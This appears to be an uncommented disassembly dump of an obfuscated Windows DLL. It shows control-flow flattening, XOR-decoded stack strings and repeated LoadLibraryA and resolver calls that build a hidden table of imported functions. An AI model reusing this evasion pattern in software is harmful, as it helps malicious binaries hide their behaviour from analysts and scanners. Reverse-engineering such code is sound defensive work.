mov ecx, 0x3e5f1ad4
mov edx, 0x4f7952a7
cmovb ecx, edx
jmp 0x180016f25
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
add cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180016f20
xor eax, eax
mov ecx, 0xc6ce135d
cmp ecx, 0x5c7fd386
je 0x180017cc7
cmp ecx, 0xf1ece82
je 0x180016fb5
cmp ecx, 0xc6ce135d
jne 0x180016f7c
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0x10
mov ecx, 0x5c7fd386
mov edx, 0xf1ece82
cmovb ecx, edx
jmp 0x180016f7c
mov rax, qword [rsp + 0x20]
mov cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180016f77
xor eax, eax
mov ecx, 0xdaa08abe
cmp ecx, 0x61def785
je 0x180017007
cmp ecx, 0x9fbf505
je 0x180017cf2
cmp ecx, 0xdaa08abe
jne 0x180016fce
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xa
mov ecx, 0x9fbf505
mov edx, 0x61def785
cmovb ecx, edx
jmp 0x180016fce
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
add cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180016fc9
xor eax, eax
mov ecx, 0x7f11ea26
cmp ecx, 0xcb80993b
je 0x18001705e
cmp ecx, 0xf642705d
je 0x180017d23
cmp ecx, 0x7f11ea26
jne 0x180017025
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xa
mov ecx, 0xf642705d
mov edx, 0xcb80993b
cmovb ecx, edx
jmp 0x180017025
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
add cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180017020
mov rcx, qword [rsp + 0x58]
mov rdx, rsi
call rbx
mov qword [0x18003a2e8], rax
test rax, rax
mov eax, 0x7da65b3e
mov ecx, 0x4ac5ac22
cmove eax, ecx
jmp 0x180013700
xor eax, eax
mov ecx, 0x388a6d76
cmp ecx, 0x6287c868
je 0x1800170db
cmp ecx, 0x58f9eed6
je 0x180017d51
cmp ecx, 0x388a6d76
jne 0x1800170a2
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xa
mov ecx, 0x58f9eed6
mov edx, 0x6287c868
cmovb ecx, edx
jmp 0x1800170a2
mov rax, qword [rsp + 0x20]
mov cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x18001709d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0
mov eax, 0x89b416
mov ecx, 0x791b03d3
cmove eax, ecx
jmp 0x180013700
xor eax, eax
mov ecx, 0x18a9c195
cmp ecx, 0x3e1d4f04
je 0x180017d7c
cmp ecx, 0x3948cf03
je 0x180017159
cmp ecx, 0x18a9c195
jne 0x180017120
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
cmp rcx, 6
mov ecx, 0x3e1d4f04
mov edx, 0x3948cf03
cmovb ecx, edx
jmp 0x180017120
mov rax, qword [rsp + 0x30]
mov cl, byte [rsp + 0x20]
xor byte [rsp + rax + 0x21], cl
inc rax
jmp 0x18001711b
mov byte [rsp + 0x44], 0
mov rcx, qword [rsp + 0x50]
mov rdx, r15
call rbx
mov qword [0x18003a238], rax
test rax, rax
mov eax, 0xd2e64f7e
mov ecx, 0xd067eb84
cmove eax, ecx
jmp 0x180013700
mov rcx, qword [rsp + 0x50]
mov rdx, rsi
call rbx
mov qword [0x18003a2d0], rax
test rax, rax
mov eax, 0x2b8102fb
mov ecx, 0x40ebb5d
cmove eax, ecx
jmp 0x180013700
xor eax, eax
mov ecx, 0xce29884b
cmp ecx, 0xa1b7ffd8
je 0x180017dac
cmp ecx, 0xaa0d1207
je 0x1800171fc
cmp ecx, 0xce29884b
jne 0x1800171c3
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xb
mov ecx, 0xa1b7ffd8
mov edx, 0xaa0d1207
cmovb ecx, edx
jmp 0x1800171c3
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
add cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x1800171be
mov byte [rsp + 0x26], 0
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x138]
call rbx
mov qword [0x18003a398], rax
test rax, rax
mov eax, 0x7269446
mov ecx, 0xc10c3b20
cmove eax, ecx
jmp 0x180013700
mov rcx, qword [rsp + 0x58]
mov rdx, rsi
call rbx
mov qword [0x18003a2f0], rax
test rax, rax
mov eax, 0x2e39eeec
mov ecx, 0x9742b1f1
cmove eax, ecx
jmp 0x180013700
xor eax, eax
mov ecx, 0xf40a49b3
cmp ecx, 0x7a551e9f
je 0x1800172a9
cmp ecx, 0x63ffc6b1
je 0x180017dd7
cmp ecx, 0xf40a49b3
jne 0x180017270
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xc
mov ecx, 0x63ffc6b1
mov edx, 0x7a551e9f
cmovb ecx, edx
jmp 0x180017270
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
add cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x18001726b
mov byte [rsp + 0x3c], 0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x150], rax
cmp qword [rsp + 0x150], 0
mov eax, 0xb25ad48d
mov ecx, 0x72716a56
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x41], 0
mov rcx, qword [rsp + 0x60]
mov rdx, r15
call rbx
mov qword [0x18003a370], rax
test rax, rax
mov eax, 0x114055e5
mov ecx, 0xb80ed964
cmove eax, ecx
jmp 0x180013700
xor eax, eax
mov ecx, 0x14d12df
cmp ecx, 0xab0a23c2
je 0x180017e08
cmp ecx, 0x4cae944a
je 0x18001735c
cmp ecx, 0x14d12df
jne 0x180017323
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 9
mov ecx, 0xab0a23c2
mov edx, 0x4cae944a
cmovb ecx, edx
jmp 0x180017323
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
add cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x18001731e
mov rcx, qword [rsp + 0x50]
mov rdx, rsi
call rbx
mov qword [0x18003a278], rax
test rax, rax
mov eax, 0x5437144b
mov ecx, 0x4994d16b
cmove eax, ecx
jmp 0x180013700
xor eax, eax
mov ecx, 0x42091ca4
cmp ecx, 0x12cc3df8
je 0x1800173d9
cmp ecx, 0x350075ef
je 0x180017e33
cmp ecx, 0x42091ca4
jne 0x1800173a0
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xb
mov ecx, 0x350075ef
mov edx, 0x12cc3df8
cmovb ecx, edx
jmp 0x1800173a0
mov rax, qword [rsp + 0x20]
mov cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x18001739b
xor eax, eax
mov ecx, 0xc87c2b4c
cmp ecx, 0x63418dba
je 0x180017e64
cmp ecx, 0x5ec3d5eb
je 0x18001742b
cmp ecx, 0xc87c2b4c
jne 0x1800173f2
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xb
mov ecx, 0x63418dba
mov edx, 0x5ec3d5eb
cmovb ecx, edx
jmp 0x1800173f2
mov rax, qword [rsp + 0x20]
mov cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x1800173ed
xor eax, eax
mov ecx, 0x3c546310
cmp ecx, 0x8d681ee7
je 0x18001747d
cmp ecx, 0x3eb76519
je 0x180017e8f
cmp ecx, 0x3c546310
jne 0x180017444
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xb
mov ecx, 0x3eb76519
mov edx, 0x8d681ee7
cmovb ecx, edx
jmp 0x180017444
mov rax, qword [rsp + 0x20]
mov cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x18001743f
mov byte [rsp + 0x3a], 0
mov rcx, qword [rsp + 0x50]
mov rdx, r15
call rbx
mov qword [0x18003a248], rax
test rax, rax
mov eax, 0x1f933ff0
mov ecx, 0xe5cceccd
cmove eax, ecx
jmp 0x180013700
xor eax, eax
mov ecx, 0xd9473ac9
cmp ecx, 0xc22e4988
je 0x1800174fa
cmp ecx, 0xfacdfc25
je 0x180017ec0
cmp ecx, 0xd9473ac9
jne 0x1800174c1
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xa
mov ecx, 0xfacdfc25
mov edx, 0xc22e4988
cmovb ecx, edx
jmp 0x1800174c1
mov rax, qword [rsp + 0x20]
mov cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x1800174bc
mov byte [rsp + 0x3f], 0
mov rcx, qword [rsp + 0x50]
mov rdx, r15
call rbx
mov qword [0x18003a298], rax
test rax, rax
mov eax, 0xadb6f067
mov ecx, 0x592f412f
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x3a], 0
mov rcx, qword [rsp + 0x50]
mov rdx, r15
call rbx
mov qword [0x18003a1d8], rax
test rax, rax
mov eax, 0xfe27f39d
mov ecx, 0x7ce5d092
cmove eax, ecx
jmp 0x180013700
mov rcx, qword [rsp + 0x60]
mov rdx, rsi
call rbx
mov qword [0x18003a358], rax
test rax, rax
mov eax, 0x735f5aa9
mov ecx, 0xf2f542cd
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x3b], 0
mov rcx, qword [rsp + 0x50]
mov rdx, r15
call rbx
mov qword [0x18003a1e8], rax
test rax, rax
mov eax, 0x9e9bfbb7
mov ecx, 0xbd6faf6c
cmove eax, ecx
jmp 0x180013700
xor eax, eax
mov ecx, 0xc12301ed
cmp ecx, 0x80a8ad08
je 0x180017eeb
cmp ecx, 0xd78c01c0
je 0x1800175f3
cmp ecx, 0xc12301ed
jne 0x1800175ba
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0x13
mov ecx, 0x80a8ad08
mov edx, 0xd78c01c0
cmovb ecx, edx
jmp 0x1800175ba
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
add cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x1800175b5
xor eax, eax
mov ecx, 0x58d7ce81
cmp ecx, 0xd27e4bd0
je 0x18001764a
cmp ecx, 0x2e026e3f
je 0x180017f19
cmp ecx, 0x58d7ce81
jne 0x180017611
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0x13
mov ecx, 0x2e026e3f
mov edx, 0xd27e4bd0
cmovb ecx, edx
jmp 0x180017611
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
add cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x18001760c
mov rcx, qword [rsp + 0x50]
mov rdx, rsi
call rbx
mov qword [0x18003a290], rax
test rax, rax
mov eax, 0x8d6f2fa
mov ecx, 0xf182784b
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x42], 0
mov rcx, qword [rsp + 0x80]
mov rdx, r15
call rbx
mov qword [0x18003a3b0], rax
test rax, rax
mov eax, 0xa23a9c87
mov ecx, 0xac52246e
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x43], 0
mov rcx, qword [rsp + 0x50]
mov rdx, r15
call rbx
mov qword [0x18003a228], rax
test rax, rax
mov eax, 0x92f9393b
mov ecx, 0x58a106a0
cmove eax, ecx
jmp 0x180013700
xor eax, eax
mov ecx, 0xe24c23d2
cmp ecx, 0x705bdb4c
je 0x180017f44
cmp ecx, 0x4fc15867
je 0x180017720
cmp ecx, 0xe24c23d2
jne 0x1800176e7
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0x17
mov ecx, 0x705bdb4c
mov edx, 0x4fc15867
cmovb ecx, edx
jmp 0x1800176e7
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
add cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x1800176e2
xor ebp, ebp
mov byte [rsp + 0x3f], bpl
mov rcx, qword [rsp + 0x50]
mov rdx, r15
call rbx
mov qword [0x18003a1f8], rax
movabs rax, 0x815971806d717e4f
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x51847180
mov word [rsp + 0x3c], 0x4d84
mov byte [rsp + 0x3e], bpl
mov ebp, 0x9d05909f
xor eax, eax
mov ecx, 0x5e840112
cmp ecx, 0xa2fc7cd3
je 0x1800177b7
cmp ecx, 0xe6041a6c
je 0x180017f72
cmp ecx, 0x5e840112
jne 0x18001777e
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xe
mov ecx, 0xe6041a6c
mov edx, 0xa2fc7cd3
cmovb ecx, edx
jmp 0x18001777e
mov rax, qword [rsp + 0x20]
add byte [rsp + rax + 0x30], 0xf4
mov rax, qword [rsp + 0x20]
inc rax
jmp 0x180017779
xor eax, eax
mov ecx, 0xdc84e77a
cmp ecx, 0x353943e
je 0x18001780b
cmp ecx, 0xe57e01c5
je 0x180017f98
cmp ecx, 0xdc84e77a
jne 0x1800177d2
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xc
mov ecx, 0xe57e01c5
mov edx, 0x353943e
cmovb ecx, edx
jmp 0x1800177d2
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
add cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x1800177cd
xor eax, eax
mov ecx, 0x3a5868c1
cmp ecx, 0x27fce0eb
je 0x180017862
cmp ecx, 0x6bd98332
je 0x180017fc9
cmp ecx, 0x3a5868c1
jne 0x180017829
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xf
mov ecx, 0x6bd98332
mov edx, 0x27fce0eb
cmovb ecx, edx
jmp 0x180017829
mov rax, qword [rsp + 0x20]
mov cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180017824
mov rcx, qword [rsp + 0x60]
mov rdx, rsi
call rbx
mov qword [0x18003a378], rax
test rax, rax
mov eax, 0x14b6e820
mov ecx, 0x14e74170
cmove eax, ecx
jmp 0x180013700
xor eax, eax
mov ecx, 0x58c5ff78
cmp ecx, 0x561e22b5
je 0x180017ff4
cmp ecx, 0x5b566d56
je 0x1800178da
cmp ecx, 0x58c5ff78
jne 0x1800178a1
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 9
mov ecx, 0x561e22b5
mov edx, 0x5b566d56
cmovb ecx, edx
jmp 0x1800178a1
mov rax, qword [rsp + 0x20]
mov cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x18001789c
mov byte [rsp + 0x3d], 0
mov rcx, qword [rsp + 0x50]
mov rdx, r15
call rbx
mov qword [0x18003a210], rax
test rax, rax
mov eax, 0x78a19692
mov ecx, 0xf4906b30
cmove eax, ecx
jmp 0x180013700
xor eax, eax
mov ecx, 0x168a8184
cmp ecx, 0xd1d16523
je 0x180017957
cmp ecx, 0x5e54c57c
je 0x18001801f
cmp ecx, 0x168a8184
jne 0x18001791e
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0x11
mov ecx, 0x5e54c57c
mov edx, 0xd1d16523
cmovb ecx, edx
jmp 0x18001791e
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
add cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180017919
xor eax, eax
mov ecx, 0x61705617
cmp ecx, 0x2218dbc2
je 0x1800179ae
cmp ecx, 0x32a0be7b
je 0x18001804d
cmp ecx, 0x61705617
jne 0x180017975
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xc
mov ecx, 0x32a0be7b
mov edx, 0x2218dbc2
cmovb ecx, edx
jmp 0x180017975
mov rax, qword [rsp + 0x20]
mov cl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], cl
inc rax
jmp 0x180017970
mov rcx, qword [rsp + 0xd8]
mov rdx, rsi
call rbx
mov qword [0x18003a3e0], rax
test rax, rax
mov eax, 0x7bd2b0d0
mov ecx, 0x462c0ba1
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x39], 0
mov rcx, qword [rsp + 0x50]
mov rdx, r15
call rbx
mov qword [0x18003a1e0], rax
test rax, rax
mov eax, 0x9bda4e7a
mov ecx, 0x2d7e5b78
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x42], 0
mov rcx, qword [rsp + 0xd0]
mov rdx, r15
call rbx
mov qword [0x18003a338], rax
test rax, rax
mov eax, 0xef115327
mov ecx, 0xa3ab7a32
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x3a], 0
mov rcx, qword [rsp + 0x50]
mov rdx, r15
call rbx
mov qword [0x18003a250], rax
test rax, rax
mov eax, 0x594a01d7
mov ecx, 0xded1fc85
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x45], 0
mov rcx, qword [rsp + 0x160]
mov rdx, r15
call rbx
mov qword [0x18003a3d8], rax
test rax, rax
mov eax, 0xde0cd70b
mov ecx, 0x42136240
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x3d], 0
mov rcx, qword [rsp + 0x68]
mov rdx, r15
call rbx
mov qword [0x18003a390], rax
test rax, rax
mov eax, 0xf8e3402d
mov ecx, 0x25b132f7
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x39], 0
mov rcx, qword [rsp + 0x68]
mov rdx, r15
call rbx
mov qword [0x18003a380], rax
test rax, rax
mov eax, 0x5f7b868f
mov ecx, 0x89ea7bb5
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x40], 0
mov rcx, qword [rsp + 0xc8]
mov rdx, r15
call rbx
mov qword [0x18003a320], rax
test rax, rax
mov eax, 0x128d8614
mov ecx, 0x6751c881
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x48], 0
mov rcx, qword [rsp + 0x50]
mov rdx, r15
call rbx
mov qword [0x18003a2c0], rax
test rax, rax
mov eax, 0x22df8663
mov ecx, 0xa25dc20
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x3f], 0
mov rcx, qword [rsp + 0x50]
mov rdx, r15
call rbx
mov qword [0x18003a2b0], rax
test rax, rax
mov eax, 0xdbf6130
mov ecx, 0x53344432
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x3f], 0
mov rcx, qword [rsp + 0x50]
mov rdx, r15
call rbx
mov qword [0x18003a270], rax
test rax, rax
mov eax, 0x16533516
mov ecx, 0xe32fc4bb
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x3b], 0
mov rcx, qword [rsp + 0x80]
mov rdx, r15
call rbx
mov qword [0x18003a3c0], rax
test rax, rax
mov eax, 0xae98efaa
mov ecx, 0x1e0b08be
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x45], 0
mov rcx, qword [rsp + 0x50]
mov rdx, r15
call rbx
mov qword [0x18003a200], rax
test rax, rax
mov eax, 0x485f5b16
mov ecx, 0x3b22b852
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x3f], 0
mov rcx, qword [rsp + 0x50]
mov rdx, r15
call rbx
mov qword [0x18003a268], rax
movaps xmmword [rsp + 0x30], xmm15
mov dword [rsp + 0x40], 0x6e7d82
xor eax, eax
mov ecx, 0x3a2d3593
cmp ecx, 0x9584fa76
je 0x180017c5d
cmp ecx, 0x3ef3cd93
je 0x180018078
cmp ecx, 0x3a2d3593
jne 0x180017c24
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0x13
mov ecx, 0x3ef3cd93
mov edx, 0x9584fa76
cmovb ecx, edx
jmp 0x180017c24
mov rax, qword [rsp + 0x20]
add byte [rsp + rax + 0x30], 0xf7
mov rax, qword [rsp + 0x20]
inc rax
jmp 0x180017c1f
mov byte [rsp + 0x46], 0
mov rcx, qword [rsp + 0x50]
mov rdx, r15
call rbx
mov qword [0x18003a2d8], rax
test rax, rax
mov eax, 0xa468cf4c
mov ecx, 0xbcba9aac
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x3b], 0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
mov eax, 0xab8a9cc7
mov ecx, 0xbd73a7f8
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x41], 0
mov rcx, qword [rsp + 0x60]
mov rdx, r15
call rbx
mov qword [0x18003a360], rax
test rax, rax
mov eax, 0x8559d5d2
mov ecx, 0xa321a78c
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x3b], 0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0xd0], rax
cmp qword [rsp + 0xd0], 0
mov eax, 0x85b8c420
mov ecx, 0x4db9444
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x3b], 0
mov rcx, qword [rsp + 0x80]
mov rdx, r15
call rbx
mov qword [0x18003a3c8], rax
test rax, rax
mov eax, 0xe75becc0
mov ecx, 0xf9ac31d4
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x3b], 0
mov rcx, qword [rsp + 0x68]
mov rdx, r15
call rbx
mov qword [0x18003a3a8], rax
test rax, rax
mov eax, 0xa65443da
mov ecx, 0xda6322f7
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x27], 0
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x138]
call rbx
mov qword [0x18003a388], rax
test rax, rax
mov eax, 0x710e1338
mov ecx, 0xe87ad079
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x3c], 0
mov rcx, qword [rsp + 0x50]
mov rdx, r15
call rbx
mov qword [0x18003a2c8], rax
test rax, rax
mov eax, 0x37fff6d1
mov ecx, 0x8f6ae496
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x3d], 0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0xd8], rax
cmp qword [rsp + 0xd8], 0
mov eax, 0x7c20e11f
mov ecx, 0x2e99a16a
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x3a], 0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
mov eax, 0xf0f157ad
mov ecx, 0x562cb221
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x3c], 0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x160], rax
cmp qword [rsp + 0x160], 0
mov eax, 0x214de6cd
mov ecx, 0xdf8ffe7c
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x3c], 0
mov rcx, qword [rsp + 0x60]
mov rdx, r15
call rbx
mov qword [0x18003a348], rax
test rax, rax
mov eax, 0x72357e4d
mov ecx, 0x3968872f
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x3c], 0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x158], rax
cmp qword [rsp + 0x158], 0
mov eax, 0x484092f2
mov ecx, 0x2c93271d
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x3b], 0
mov rcx, qword [rsp + 0x68]
mov rdx, r15
call rbx
mov qword [0x18003a3a0], rax
test rax, rax
mov eax, 0x148d7677
mov ecx, 0x6bcf0d35
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x44], 0
mov rcx, qword [rsp + 0xd0]
mov rdx, r15
call rbx
mov qword [0x18003a340], rax
test rax, rax
mov eax, 0x3cf8b56f
mov ecx, 0x4b482491
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x44], 0
mov rcx, qword [rsp + 0x50]
mov rdx, r15
call rbx
mov qword [0x18003a220], rax
test rax, rax
mov eax, 0xbff7d4af
mov ecx, 0x273fd392
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x48], 0
mov rcx, qword [rsp + 0x158]
mov rdx, r15
call rbx
mov qword [0x18003a3d0], rax
test rax, rax
mov eax, 0x7ef51a83
mov ecx, 0x40ac8162
cmove eax, ecx
jmp 0x180013700
mov rcx, qword [rsp + 0x50]
mov rdx, rsi
call rbx
mov qword [0x18003a208], rax
test rax, rax
mov eax, 0x59f7b271
mov ecx, 0xb61c92cc
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x3d], 0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0xc8], rax
cmp qword [rsp + 0xc8], 0
mov eax, 0xd173f1f0
mov ecx, 0x7b0746f8
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x40], 0
mov rcx, qword [rsp + 0x50]
mov rdx, r15
call rbx
mov qword [0x18003a2a0], rax
test rax, rax
mov eax, 0xf297f59b
mov ecx, 0x36052622
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x3a], 0
mov rcx, qword [rsp + 0x50]
mov rdx, r15
call rbx
mov qword [0x18003a258], rax
test rax, rax
mov eax, 0xf1e24930
mov ecx, 0x4419b4ba
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x42], 0
mov rcx, qword [rsp + 0x80]
mov rdx, r15
call rbx
mov qword [0x18003a3b8], rax
test rax, rax
mov eax, 0xb3f2b688
mov ecx, 0xd6148bf6
cmove eax, ecx
jmp 0x180013700
mov byte [rsp + 0x3d], 0
mov rcx, qword [rsp + 0x50]
mov rdx, r15
call rbx
mov qword [0x18003a218], rax
test rax, rax
mov eax, 0x93ce61bf
mov ecx, 0xd9a179a3
cmove eax, ecx
jmp 0x180013700
mov rcx, qword [rsp + 0x50]
mov rdx, rsi
call rbx
mov qword [0x18003a230], rax
test rax, rax
mov eax, 0xb39e680e
mov ecx, 0xd67a7cfe
cmove eax, ecx
jmp 0x180013700
mov eax, dword [rsp + 0x2c]
movaps xmm6, xmmword [rsp + 0x260]
movaps xmm7, xmmword [rsp + 0x270]
movaps xmm8, xmmword [rsp + 0x280]
movaps xmm9, xmmword [rsp + 0x290]
movaps xmm10, xmmword [rsp + 0x2a0]
movaps xmm11, xmmword [rsp + 0x2b0]
movaps xmm12, xmmword [rsp + 0x2c0]
movaps xmm13, xmmword [rsp + 0x2d0]
movaps xmm14, xmmword [rsp + 0x2e0]
movaps xmm15, xmmword [rsp + 0x2f0]
add rsp, 0x308
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret